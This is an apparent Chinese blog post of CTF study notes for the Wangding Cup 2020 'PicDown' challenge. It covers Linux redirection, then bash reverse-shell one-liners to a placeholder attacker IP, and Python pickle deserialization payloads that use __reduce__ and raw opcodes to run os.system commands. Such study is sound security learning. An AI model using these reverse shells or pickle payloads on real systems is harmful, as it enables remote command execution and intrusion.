本文已参与「新人创作礼」活动,一起开启掘金创作之路。
一:网鼎杯2020白虎组:PicDown
文件描述符
linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
重定向
重定向主要分为两种(其他复杂的都是从这两种衍生而来的):
(1)输入重定向 < <<
(2)输出重定向 > >>
重点:
< 是对标准输入 0 重定向 > 是对标准输出 1 重定向
再强调一下,重定向就是针对文件描述符的操作
&>- -混合输出(标准输出、标准错误输出) ( 覆盖 )
&>> 混合输出(标准输出、标准错误输出) ( 追加 )
2> 标准错误输出 ( 覆盖 )
2>> 标准错误输出 ( 追加 )
1> te.txt 2>&1 / 混合输出
2>&1 错误->标准输出->>te.txt (混合输出 )
例如:ls -la > akfile 2>&1
&1 :表示引用标准输出,可以想象成标准输出将要输出到的那个设备文件(/dev/tty /dev/ttyS0)。
2>&1 :表示把2标准错误的输出地方和1一样,重定向2
:默认是指1的重定向也就是标准输出重定向到指定文件
所以整个意思是ls的内容全部打印到指定文件里面,同时错误也打印到1对应的里面也就是指向的akfile
上面还能简写
ls &> akfile
表示覆盖方式 把1和2都指向akfile。
反弹shell
基本反弹shell:
bash -i >& /dev/tcp/IP/8080 0>&1
交互重定向:
bash -i > /dev/tcp/IP/8080 //端口端进行命令输出在被控端
bash -i < /dev/tcp/IP/8080 // 端口执行命令,被控端回显
前面两者都是单方面的,下面介绍攻击端口执行命令并且回显数据
bash -i > /dev/tcp/IP/4444 0>&1 //在攻击端口输入命令并且回显数据,但是受害端口会显示攻击命令
升级版:
bash -i > /dev/tcp/IP/4444 0>&1 2>&1
等价于: bash -i >& /dev/tcp/IP/4444 0>&1
二:pickle反序列化的了解、同样需要环境搭建和自主实验、原理方面自己消化比较耗时间
参考:pickle反序列化
reduce() 方法一次只能执行一个函数,一般会用到exec函数进行多个命令执行
Python 反序列化漏洞跟 __reduce__()
魔术方法相关
其类似于 PHP 对象中的 __wakeup()
方法,会在反序列化时自动调用
__reduce__()
魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象
,第二个参数为该对象所需要的参数
import pickle
import urllib
class errorr0(object):
def __reduce__(self):
return ***
a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c
pickletools
- 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
0: \x80 PROTO 3
2: c GLOBAL 'builtins exec'
17: q BINPUT 0
19: X BINUNICODE "key1=b'1'\nkey2=b'2'"
43: q BINPUT 1
45: \x85 TUPLE1
46: q BINPUT 2
48: R REDUCE
49: q BINPUT 3
51: . STOP
highest protocol among opcodes = 2
pickle EXP的简单demo
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
函数执行相关的OPCode:
与函数执行相关的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:
b'''cos
system
(S'whoami'
tR.'''
i
:
b'''(S'whoami'
ios
system
.'''
o
:
b'''(cos
system
S'whoami'
o.'''
值得注意的是:
pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:
# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'